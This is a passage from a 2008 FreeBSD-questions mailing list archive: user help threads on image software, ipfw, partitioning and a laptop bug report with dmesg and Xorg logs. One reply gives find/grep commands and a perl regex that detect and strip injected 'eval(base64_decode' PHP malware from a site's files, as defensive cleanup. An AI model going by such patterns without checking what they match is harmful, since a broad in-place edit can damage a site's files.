http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 01:43:35 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 376781065670 for ; Fri, 5 Dec 2008 01:43:35 +0000 (UTC) (envelope-from chris@monochrome.org) Received: from mail.monochrome.org (b4.ebbed1.client.atlantech.net [209.190.235.180]) by mx1.freebsd.org (Postfix) with ESMTP id E84608FC16 for ; Fri, 5 Dec 2008 01:43:34 +0000 (UTC) (envelope-from chris@monochrome.org) Received: from [192.168.1.11] ([192.168.1.11]) by mail.monochrome.org (8.14.3/8.14.3) with ESMTP id mB51hXx8076278; Thu, 4 Dec 2008 20:43:33 -0500 (EST) (envelope-from chris@monochrome.org) Date: Thu, 4 Dec 2008 20:43:33 -0500 (EST) From: Chris Hill To: G magicman In-Reply-To: <592613.67715.qm@web52209.mail.re2.yahoo.com> Message-ID: <20081204203440.Q32170@tripel.monochrome.org> References: <592613.67715.qm@web52209.mail.re2.yahoo.com> MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-1729036387-1228441413=:32170" Cc: freebsd-questions@freebsd.org Subject: Re: Image Programs X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 01:43:35 -0000 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. --0-1729036387-1228441413=:32170 Content-Type: TEXT/PLAIN; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: QUOTED-PRINTABLE On Thu, 4 Dec 2008, G magicman wrote: > 1.=A0 Does Freebsd have a program like Photoshop avail to use a=20 > copy-left GNU license type ? and a form of Thumbsplus which allows me=20 > to do rudimentary picture manipulations changing file type, cropping=20 > etc.=A0 i have all the 3d programs but not these 2 basic ones. "Like Photoshop", the best I can think of is the GIMP=20 (/usr/ports/graphics/gimp or http://www.gimp.org/). I hear=20 tell Photoshop is more capable, but I haven't used it in about 10 years=20 so I don't really know. For basic editing (crop, resize, gamma, change file type) xv works just=20 fine for me (/usr/ports/graphics/xv or http://www.trilon.com/xv/) BTW these are not part of FreeBSD, but developed and maintained by third=20 parties. HTH. -- Chris Hill chris@monochrome.org ** [ Busy Expunging <|> ] --0-1729036387-1228441413=:32170-- From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 01:54:10 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 75A2C1065676 for ; Fri, 5 Dec 2008 01:54:10 +0000 (UTC) (envelope-from brett@net24.co.nz) Received: from omr.mail.isx.net.nz (omr.mail.isx.net.nz [210.5.49.98]) by mx1.freebsd.org (Postfix) with ESMTP id 1293A8FC12 for ; Fri, 5 Dec 2008 01:54:09 +0000 (UTC) (envelope-from brett@net24.co.nz) Received: from 210.55.30.56 (EHLO _127.0.0.1_) ([210.55.30.56]) by omr.mail.isx.net.nz (MOS 3.8.3-GA FastPath) with ESMTP id AGR37989 (AUTH brett@net24.co.nz); Fri, 05 Dec 2008 14:54:08 +1300 (NZDT) Message-ID: <493889C3.6020503@net24.co.nz> Date: Fri, 05 Dec 2008 14:54:11 +1300 From: Brett Davidson Organization: Net24 Limited User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) MIME-Version: 1.0 To: Ian Smith References: <20081201120023.9E1821065688@hub.freebsd.org> <20081201233222.L34249@sola.nimnet.asn.au> <4934534D.1060100@net24.co.nz> <20081204012026.O60430@sola.nimnet.asn.au> <4937288A.5070106@net24.co.nz> <20081205003414.U60430@sola.nimnet.asn.au> In-Reply-To: <20081205003414.U60430@sola.nimnet.asn.au> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: Is there anything weird I should know about using ipfw on alias addresses? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 01:54:10 -0000 Found the problem. Incorrect arp entry. Thanks for your help. Cheers, Brett. From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 04:30:21 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5DCDE106568C for ; Fri, 5 Dec 2008 04:30:21 +0000 (UTC) (envelope-from af300wsm@gmail.com) Received: from rv-out-0304.google.com (rv-out-0304.google.com [209.85.198.211]) by mx1.freebsd.org (Postfix) with ESMTP id 40CAF8FC08 for ; Fri, 5 Dec 2008 04:30:21 +0000 (UTC) (envelope-from af300wsm@gmail.com) Received: by rv-out-0304.google.com with SMTP id b20so9718088rvf.31 for ; Thu, 04 Dec 2008 20:30:20 -0800 (PST) MIME-Version: 1.0 Received: by 10.115.17.11 with SMTP id u11mr8120409wai.25.1228451420889; Thu, 04 Dec 2008 20:30:20 -0800 (PST) Message-ID: <0016e64ca7d690e38f045d45227d@google.com> Date: Fri, 05 Dec 2008 04:30:20 +0000 From: af300wsm@gmail.com To: "freebsd-questions@freebsd.org" Content-Type: text/plain; charset=ISO-8859-1; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Performance benchmarks pitting FreeBSD against Windows X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 04:30:21 -0000 Hi, I don't even know if this has been done before, nor do I know for sure if it's a sound comparison. Never the less, someone posted, in response to someone else here just a few days ago, some very nice benchmarks provided by Kris ?Kenneway? I could be wrong on the last name, it just seems to me that's a last name I've seen with Kris frequently (my apologies Kris if I'm wrong). Using the URL that the other poster, posted, I poked around the other *.html files in that directory, but did not find any with FreeBSD pitted against windows. I'm just curious to see how it looks for my own sanity's sake. At work, someone got the grand idea that we should move to Windoze embedded (CE and XPe) and it's been quite discouraging I must say, though I must admit, it's nice to actually know why Windows is ugly underneath. From a programming perspective, it's just not simplistic. Anyway, I digress, I'm just curious to see how things compare to Windows on similar benchmarks to what Kris provided if its ever been done. Thanks, Andy From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 04:34:25 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5AB3A106568C for ; Fri, 5 Dec 2008 04:34:25 +0000 (UTC) (envelope-from rock_on_the_web@comcen.com.au) Received: from mail.unitedinsong.com.au (202-172-126-254.cpe.qld-1.comcen.com.au [202.172.126.254]) by mx1.freebsd.org (Postfix) with ESMTP id 06EE18FC1D for ; Fri, 5 Dec 2008 04:34:24 +0000 (UTC) (envelope-from rock_on_the_web@comcen.com.au) Received: from [192.168.0.172] (unknown [192.168.0.172]) by mail.unitedinsong.com.au (Postfix) with ESMTP id 797DD40A0 for ; Fri, 5 Dec 2008 13:59:05 +1000 (EST) From: Da Rock To: freebsd-questions@freebsd.org In-Reply-To: <20081204154923.GB1366@gizmo.acns.msu.edu> References: <20081202111740.96805018.freebsd@edvax.de> <20081202163920.GE90039@gizmo.acns.msu.edu> <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> <18743.14461.951431.581673@jerusalem.litteratus.org> <1228359465.23645.27.camel@laptop1.herveybayaustralia.com.au> <20081204154923.GB1366@gizmo.acns.msu.edu> Content-Type: text/plain Date: Fri, 05 Dec 2008 03:58:23 +1000 Message-Id: <1228413503.79750.8.camel@laptop2.herveybayaustralia.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.22.3.1 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit Subject: Re: UFS partitioning X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 04:34:25 -0000 On Thu, 2008-12-04 at 10:49 -0500, Jerry McAllister wrote: > On Thu, Dec 04, 2008 at 12:57:45PM +1000, Da Rock wrote: > > > > > On Wed, 2008-12-03 at 20:55 -0500, Robert Huff wrote: > > > Da Rock writes: > > > > > > > Excuse my nose in here- I just have a couple of questions. > > > > > > > > 1) It IS possible to boot from a dedicated disk? > > > > > > Yes. Can't remember the last time I used anything else. > > > > So you've never booted from a disk that has been partitioned as a file > > system? > > You are getting your terms scrambled here. > Partitioning has nothing directly to do with creating a file system. > You can build a filesystem (with newfs) on just about any piece > of disk whether it is the whole disk, a slice of the disk or a partition > of a slice. > > Making one of those divisions bootable is also pretty much an > independant operation too, though as far as I know, only whole > disks and slices can be made bootable but not partitions - the > fact that the partition contains the system files is not what > makes it bootable. Being bootable is dependant on the boot sector > which gets the control from either the BIOS or an MBR and then finds > the system partition (/), mounts it (Read Only) and finds system files > and starts those things running. Yes, I would say I'm getting my terms mixed up- fortunately the actual reality is clear in my head (hard as that is to believe..). I have only one more question then: Why would you use "dangerously dedicated mode" at all? I can only see where it might be useful for files, no advantage to being a boot sector. It was some time ago that I read up on all this, but what I remembered was that BSD could use a dedicated disk- but only BSD could read and write from it and this is dangerous. Maybe what I was reading was regarding bootable and that was considered dangerous... At any rate I'm very clear now. Thanks for all the information guys- cheers From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 04:51:47 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E8C891065678 for ; Fri, 5 Dec 2008 04:51:47 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id BBFE58FC1B for ; Fri, 5 Dec 2008 04:51:47 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id A5A3FAFBC02; Thu, 4 Dec 2008 19:51:46 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org Date: Fri, 5 Dec 2008 05:51:32 +0100 User-Agent: KMail/1.9.7 References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> <1228395500.2781.41.camel@frodon.be-bif.ulb.ac.be> In-Reply-To: <1228395500.2781.41.camel@frodon.be-bif.ulb.ac.be> MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812050551.32850.fbsd.questions@rachie.is-a-geek.net> Cc: mcoyles@horbury.wakefield.sch.uk, Julien Cigar Subject: Re: Mass find/replace... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 04:51:48 -0000 On Thursday 04 December 2008 13:58:20 Julien Cigar wrote: > the following should work : > $ find /home/horbury -type f -print0 | xargs -0 grep 'base64_decode' > or : > $ find /home/horbury -type f -exec grep 'base64_decode' {} \; + not \; or you will fork on every result. Additionally, is this injected code one long string or broken down by the mailer? Grep isn't the best way to deal with it. It's pretty easy to correct with perl, bit trickier if it's multiline, still not too hard: find /home/horbury -type f -exec \ perl -pi.bak -e 's,<\?/\*\*/eval\(base64_decode\(.*?\?>,,s' {} + The originals will end up as filename.php.bak. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 04:52:07 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DE32A1065679 for ; Fri, 5 Dec 2008 04:52:07 +0000 (UTC) (envelope-from rock_on_the_web@comcen.com.au) Received: from mail.unitedinsong.com.au (202-172-126-254.cpe.qld-1.comcen.com.au [202.172.126.254]) by mx1.freebsd.org (Postfix) with ESMTP id 6B6108FC21 for ; Fri, 5 Dec 2008 04:52:04 +0000 (UTC) (envelope-from rock_on_the_web@comcen.com.au) Received: from [192.168.0.172] (unknown [192.168.0.172]) by mail.unitedinsong.com.au (Postfix) with ESMTP id 4F8B0407A for ; Fri, 5 Dec 2008 14:52:41 +1000 (EST) From: Da Rock To: freebsd-questions@freebsd.org In-Reply-To: <200812040944.38210.fbsd.questions@rachie.is-a-geek.net> References: <1228356394.23645.24.camel@laptop1.herveybayaustralia.com.au> <200812040944.38210.fbsd.questions@rachie.is-a-geek.net> Content-Type: text/plain; charset=ISO-8859-1 Date: Fri, 05 Dec 2008 04:51:59 +1000 Message-Id: <1228416719.79750.25.camel@laptop2.herveybayaustralia.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.22.3.1 FreeBSD GNOME Team Port Content-Transfer-Encoding: 8bit Subject: Re: FreeBSD 7.0 problems X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 04:52:08 -0000 On Thu, 2008-12-04 at 09:44 +0100, Mel wrote: > On Thursday 04 December 2008 03:06:34 Da Rock wrote: > > I have just installed FreeBSD 7.0 on a laptop I just cleaned up. It used > > to run Fedora linux (I have a tv card which used to work on it, but now > > I can't get the drivers to work again), and it got very cluttered and > > started getting issues. The hardware is fine though- it just returned > > from servicing under warranty and nearly every component was replaced. > > Ergo I can't fault the hardware in any way. > > > > I tried FreeBSD 7.0 before, but it wasn't working properly for me and I > > didn't have the time then to get all the reports to make a PR. > > > > Now, I decided to sort this out- finally! The issues I'm having are > > similar to before, but not quite the same (keeping in mind that I didn't > > take much time with it before). They are: > > > > The wifi driver complains of timeout errors. (Intel iwi 2200bg - last > > time I tried had a ralink wifi) > > Xorg has DRI errors - fills /var and tries to kill the whole system (I'm > > probably exaggerating, but it felt like it at least) > > dhclient loses the IP constantly. > > > > So: How do I present these issues for review? What information is > > needed? Anything I've missed? > > > > This is the first time I've had to do this (which I think is pretty > > good- goes to show how well the OS is built), so I'm a little green in > > this regard. > > For starters: > * dmesg Copyright (c) 1992-2008 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD is a registered trademark of The FreeBSD Foundation. FreeBSD 7.0-RELEASE-p6 #0: Mon Nov 24 06:43:33 UTC 2008 root@i386-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC Timecounter "i8254" frequency 1193182 Hz quality 0 CPU: Intel(R) Pentium(R) M processor 1.40GHz (1396.51-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x6d6 Stepping = 6 Features=0xafe9fbbf Features2=0x180 real memory = 770572288 (734 MB) avail memory = 740106240 (705 MB) ACPI APIC Table: ioapic0 irqs 0-23 on motherboard kbd1 at kbdmux0 ath_hal: 0.9.20.3 (AR5210, AR5211, AR5212, RF5111, RF5112, RF2413, RF5413) hptrr: HPT RocketRAID controller driver v1.1 (Nov 24 2008 06:43:09) acpi0: on motherboard acpi0: [ITHREAD] acpi0: Power Button (fixed) Timecounter "ACPI-fast" frequency 3579545 Hz quality 1000 acpi_timer0: <24-bit timer at 3.579545MHz> port 0x1008-0x100b on acpi0 acpi_ec0: port 0x62,0x66 on acpi0 acpi_hpet0: iomem 0-0x3ff on acpi0 device_attach: acpi_hpet0 attach returned 12 cpu0: on acpi0 est0: on cpu0 p4tcc0: on cpu0 acpi_acad0: on acpi0 battery0: on acpi0 acpi_lid0: on acpi0 acpi_button0: on acpi0 pcib0: port 0xcf8-0xcff on acpi0 pci0: on pcib0 pci0: at device 0.1 (no driver attached) pci0: at device 0.3 (no driver attached) vgapci0: port 0x1800-0x1807 mem 0xe8000000-0xefffffff,0xe0000000-0xe007ffff irq 16 at device 2.0 on pci0 agp0: on vgapci0 agp0: detected 32636k stolen memory agp0: aperture size is 128M vgapci1: mem 0xf0000000-0xf7ffffff,0xe0080000-0xe00fffff at device 2.1 on pci0 uhci0: port 0x1820-0x183f irq 16 at device 29.0 on pci0 uhci0: [GIANT-LOCKED] uhci0: [ITHREAD] usb0: on uhci0 usb0: USB revision 1.0 uhub0: on usb0 uhub0: 2 ports with 2 removable, self powered uhci1: port 0x1840-0x185f irq 19 at device 29.1 on pci0 uhci1: [GIANT-LOCKED] uhci1: [ITHREAD] usb1: on uhci1 usb1: USB revision 1.0 uhub1: on usb1 uhub1: 2 ports with 2 removable, self powered uhci2: port 0x1860-0x187f irq 18 at device 29.2 on pci0 uhci2: [GIANT-LOCKED] uhci2: [ITHREAD] usb2: on uhci2 usb2: USB revision 1.0 uhub2: on usb2 uhub2: 2 ports with 2 removable, self powered ehci0: mem 0xe0100000-0xe01003ff irq 23 at device 29.7 on pci0 ehci0: [GIANT-LOCKED] ehci0: [ITHREAD] usb3: EHCI version 1.0 usb3: companion controllers, 2 ports each: usb0 usb1 usb2 usb3: on ehci0 usb3: USB revision 2.0 uhub3: on usb3 uhub3: 6 ports with 6 removable, self powered pcib1: at device 30.0 on pci0 pci2: on pcib1 rl0: port 0x3000-0x30ff mem 0xe0207800-0xe02078ff irq 16 at device 0.0 on pci2 miibus0: on rl0 rlphy0: PHY 0 on miibus0 rlphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto rl0: Ethernet address: 00:c0:9f:5d:01:f9 rl0: [ITHREAD] iwi0: mem 0xe0206000-0xe0206fff irq 18 at device 6.0 on pci2 iwi0: Ethernet address: 00:0e:35:7f:80:1c iwi0: [ITHREAD] cbb0: at device 9.0 on pci2 cardbus0: on cbb0 pccard0: <16-bit PCCard bus> on cbb0 cbb0: [ITHREAD] fwohci0: <1394 Open Host Controller Interface> mem 0xe0207000-0xe02077ff,0xe0200000-0xe0203fff irq 22 at device 9.2 on pci2 fwohci0: [FILTER] fwohci0: OHCI version 1.10 (ROM=1) fwohci0: No. of Isochronous channels is 4. fwohci0: EUI64 00:c0:9f:00:00:2a:b5:31 fwohci0: Phy 1394a available S400, 2 ports. fwohci0: Link S400, max_rec 2048 bytes. firewire0: on fwohci0 fwe0: on firewire0 if_fwe0: Fake Ethernet address: 02:c0:9f:2a:b5:31 fwe0: Ethernet address: 02:c0:9f:2a:b5:31 fwip0: on firewire0 fwip0: Firewire address: 00:c0:9f:00:00:2a:b5:31 @ 0xfffe00000000, S400, maxrec 2048 sbp0: on firewire0 dcons_crom0: on firewire0 dcons_crom0: bus_addr 0x12dc000 fwohci0: Initiate bus reset fwohci0: BUS reset fwohci0: node_id=0xc000ffc0, gen=1, CYCLEMASTER mode pci2: at device 9.3 (no driver attached) pci2: at device 9.4 (no driver attached) isab0: at device 31.0 on pci0 isa0: on isab0 atapci0: port 0x1f0-0x1f7,0x3f6,0x170-0x177,0x376,0x1810-0x181f at device 31.1 on pci0 ata0: on atapci0 ata0: [ITHREAD] ata1: on atapci0 ata1: [ITHREAD] pci0: at device 31.3 (no driver attached) pcm0: port 0x1c00-0x1cff,0x18c0-0x18ff mem 0xe0100c00-0xe0100dff,0xe0100800-0xe01008ff irq 17 at device 31.5 on pci0 pcm0: [ITHREAD] pcm0: pci0: at device 31.6 (no driver attached) acpi_tz0: on acpi0 atkbdc0: port 0x60,0x64 irq 1 on acpi0 atkbd0: irq 1 on atkbdc0 kbd0 at atkbd0 atkbd0: [GIANT-LOCKED] atkbd0: [ITHREAD] psm0: irq 12 on atkbdc0 psm0: [GIANT-LOCKED] psm0: [ITHREAD] psm0: model IntelliMouse, device ID 3 acpi_hpet0: iomem 0-0x3ff on acpi0 device_attach: acpi_hpet0 attach returned 12 pmtimer0 on isa0 orm0: at iomem 0xcd000-0xcdfff,0xdf000-0xdffff,0xe0000-0xe3fff pnpid ORM0000 on isa0 ppc0: parallel port not found. sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> sio0: configured irq 4 not in bitmap of probed irqs 0 sio0: port may not be enabled sio0: configured irq 4 not in bitmap of probed irqs 0 sio0: port may not be enabled sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 8250 or not responding sio0: [FILTER] sio1: configured irq 3 not in bitmap of probed irqs 0 sio1: port may not be enabled vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 Timecounter "TSC" frequency 1396506060 Hz quality 800 Timecounters tick every 1.000 msec hptrr: no controller detected. firewire0: 1 nodes, maxhop <= 0, cable IRM = 0 (me) firewire0: bus manager 0 (me) ad0: 38154MB at ata0-master UDMA100 acd0: DVDR at ata1-master PIO4 Trying to mount root from ufs:/dev/ad0s1a WARNING: / was not properly dismounted WARNING: /tmp was not properly dismounted WARNING: /usr was not properly dismounted WARNING: /var was not properly dismounted pid 1037 (sendmail), uid 25 inumber 55593 on /var: filesystem full drm0: on vgapci0 info: [drm] AGP at 0xe8000000 128MB info: [drm] Initialized i915 1.5.0 20060119 drm1: on vgapci1 info: [drm] AGP at 0xe8000000 128MB info: [drm] Initialized i915 1.5.0 20060119 iwi0: device timeout iwi0: link state changed to DOWN iwi0: link state changed to UP iwi0: device timeout iwi0: link state changed to DOWN iwi0: link state changed to UP iwi0: device timeout iwi0: link state changed to DOWN iwi0: link state changed to UP error: [drm:pid80083:i915_getparam] *ERROR* i915_getparam called with no initialization iwi0: device timeout iwi0: link state changed to DOWN iwi0: link state changed to UP > * pciconf -lv hostb0@pci0:0:0:0: class=0x060000 card=0x3080103c chip=0x35808086 rev=0x02 hdr=0x00 vendor = 'Intel Corporation' device = '82852GM/GME/GMV/PM, 855GM/GME Montara Host-Hub Interface Bridge' class = bridge subclass = HOST-PCI none0@pci0:0:0:1: class=0x088000 card=0x3080103c chip=0x35848086 rev=0x02 hdr=0x00 vendor = 'Intel Corporation' device = '82852GM/GME/GMV/PM, 855GM/GME Montara System Memory Controller' class = base peripheral none1@pci0:0:0:3: class=0x088000 card=0x3080103c chip=0x35858086 rev=0x02 hdr=0x00 vendor = 'Intel Corporation' device = '82852GM/GME/GMV/PM, 855GM/GME Montara Configuration Process' class = base peripheral vgapci0@pci0:0:2:0: class=0x030000 card=0x3080103c chip=0x35828086 rev=0x02 hdr=0x00 vendor = 'Intel Corporation' device = '82852GM/GME/GMV/PM, 855GM/GME Montara Integrated Graphics Device' class = display subclass = VGA vgapci1@pci0:0:2:1: class=0x038000 card=0x3080103c chip=0x35828086 rev=0x02 hdr=0x00 vendor = 'Intel Corporation' device = '82852GM/GME/GMV/PM, 855GM/GME Montara Integrated Graphics Device' class = display uhci0@pci0:0:29:0: class=0x0c0300 card=0x3080103c chip=0x24c28086 rev=0x03 hdr=0x00 vendor = 'Intel Corporation' device = '82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) USB UHCI Controller' class = serial bus subclass = USB uhci1@pci0:0:29:1: class=0x0c0300 card=0x3080103c chip=0x24c48086 rev=0x03 hdr=0x00 vendor = 'Intel Corporation' device = '82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) USB UHCI Controller' class = serial bus subclass = USB uhci2@pci0:0:29:2: class=0x0c0300 card=0x3080103c chip=0x24c78086 rev=0x03 hdr=0x00 vendor = 'Intel Corporation' device = '82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) USB UHCI Controller' class = serial bus subclass = USB ehci0@pci0:0:29:7: class=0x0c0320 card=0x3080103c chip=0x24cd8086 rev=0x03 hdr=0x00 vendor = 'Intel Corporation' device = '82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) USB 2.0 EHCI Controller' class = serial bus subclass = USB pcib1@pci0:0:30:0: class=0x060400 card=0x00000000 chip=0x24488086 rev=0x83 hdr=0x01 vendor = 'Intel Corporation' device = '82801BAM/CAM/DBM (ICH2-M/3-M/4-M) Hub Interface to PCI Bridge' class = bridge subclass = PCI-PCI isab0@pci0:0:31:0: class=0x060100 card=0x00000000 chip=0x24cc8086 rev=0x03 hdr=0x00 vendor = 'Intel Corporation' device = '82801DBM (ICH4-M) LPC Interface Bridge' class = bridge subclass = PCI-ISA atapci0@pci0:0:31:1: class=0x01018a card=0x3080103c chip=0x24ca8086 rev=0x03 hdr=0x00 vendor = 'Intel Corporation' device = '82801DBM (ICH4-M) UltraATA/100 EIDE Controller' class = mass storage subclass = ATA none2@pci0:0:31:3: class=0x0c0500 card=0x3080103c chip=0x24c38086 rev=0x03 hdr=0x00 vendor = 'Intel Corporation' device = '82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) SMBus Controller' class = serial bus subclass = SMBus pcm0@pci0:0:31:5: class=0x040100 card=0x3080103c chip=0x24c58086 rev=0x03 hdr=0x00 vendor = 'Intel Corporation' device = '82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) AC'97 Audio Controller' class = multimedia subclass = audio none3@pci0:0:31:6: class=0x070300 card=0x3080103c chip=0x24c68086 rev=0x03 hdr=0x00 vendor = 'Intel Corporation' device = '82801DB/DBL/DBM (ICH4/ICH4-L/ICH4-M) AC'97 Modem Controller' class = simple comms subclass = generic modem rl0@pci0:2:0:0: class=0x020000 card=0x3080103c chip=0x813910ec rev=0x10 hdr=0x00 vendor = 'Realtek Semiconductor' device = 'RT8139 (A/B/C/810x/813x/C+) Fast Ethernet Adapter' class = network subclass = ethernet iwi0@pci0:2:6:0: class=0x028000 card=0x12f6103c chip=0x42208086 rev=0x05 hdr=0x00 vendor = 'Intel Corporation' device = 'MPCI3B driverIntel PRO/Wireless 2200BG' class = network cbb0@pci0:2:9:0: class=0x060700 card=0x3080103c chip=0x8031104c rev=0x00 hdr=0x02 vendor = 'Texas Instruments (TI)' device = 'PCIxx21/x515 Cardbus Controller' class = bridge subclass = PCI-CardBus fwohci0@pci0:2:9:2: class=0x0c0010 card=0x3080103c chip=0x8032104c rev=0x00 hdr=0x00 vendor = 'Texas Instruments (TI)' device = 'OHCI Compliant IEEE-1394 FireWire Controller' class = serial bus subclass = FireWire none4@pci0:2:9:3: class=0x018000 card=0x3080103c chip=0x8033104c rev=0x00 hdr=0x00 vendor = 'Texas Instruments (TI)' device = 'PCIxx11/21 Integrated FlashMedia Controller' class = mass storage none5@pci0:2:9:4: class=0x080500 card=0x3080103c chip=0x8034104c rev=0x00 hdr=0x00 vendor = 'Texas Instruments (TI)' device = '10981734 SDA Standard Compliant SD Host Controller' class = base peripheral > > * if you have omni-positional antennas on the AP or not Yes. Linksys WRT350N. > * if the dri problems go away when dri is disabled and no other symptoms show > up That I don't know and I don't think I'm going to be able to help that one now. After my email the missus spilt water and coke on my good laptop and so my little testing laptop is going to need to be recommissioned again for hard labour. I need a stable system to do the work I need it to do with as little errors as possible. Ergo, I haven't got the time to find out now, but I'm obtaining as much info as I can before I kill and refill with something suitable. > * /var/log/Xorg.0.log without the abundance of dri errors X.Org X Server 1.4.2 Release Date: 11 June 2008 X Protocol Version 11, Revision 0 Build Operating System: FreeBSD 7.0-RELEASE i386 Current Operating System: FreeBSD laptop2.herveybayaustralia.com.au 7.0-RELEASE-p6 FreeBSD 7.0-RELEASE-p6 #0: Mon Nov 24 06:43:33 UTC 2008 root@i386-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC i386 Build Date: 28 November 2008 10:08:50PM Before reporting problems, check http://wiki.x.org to make sure that you have the latest version. Module Loader present Markers: (--) probed, (**) from config file, (==) default setting, (++) from command line, (!!) notice, (II) informational, (WW) warning, (EE) error, (NI) not implemented, (??) unknown. (==) Log file: "/var/log/Xorg.0.log", Time: Thu Dec 4 23:47:58 2008 (EE) Unable to locate/open config file (II) Loader magic: 0x81ced80 (II) Module ABI versions: X.Org ANSI C Emulation: 0.3 X.Org Video Driver: 2.0 X.Org XInput driver : 2.0 X.Org Server Extension : 0.3 X.Org Font Renderer : 0.5 (II) Loader running on freebsd (II) LoadModule: "pcidata" (II) Loading /usr/local/lib/xorg/modules//libpcidata.so (II) Module pcidata: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.0 ABI class: X.Org Video Driver, version 2.0 (--) Using syscons driver with X support (version 2.0) (--) using VT number 9 (II) PCI: Probing config type using method 1 (II) PCI: Config type is 1 (II) PCI: stages = 0x03, oldVal1 = 0x8000f908, mode1Res1 = 0x80000000 (WW) OS did not count PCI devices, guessing wildly (II) PCI: PCI scan (all values are in hex) (II) PCI: 00:00:0: chip 8086,3580 card 103c,3080 rev 02 class 06,00,00 hdr 80 (II) PCI: 00:00:1: chip 8086,3584 card 103c,3080 rev 02 class 08,80,00 hdr 00 (II) PCI: 00:00:3: chip 8086,3585 card 103c,3080 rev 02 class 08,80,00 hdr 80 (II) PCI: 00:02:0: chip 8086,3582 card 103c,3080 rev 02 class 03,00,00 hdr 80 (II) PCI: 00:02:1: chip 8086,3582 card 103c,3080 rev 02 class 03,80,00 hdr 80 (II) PCI: 00:1d:0: chip 8086,24c2 card 103c,3080 rev 03 class 0c,03,00 hdr 80 (II) 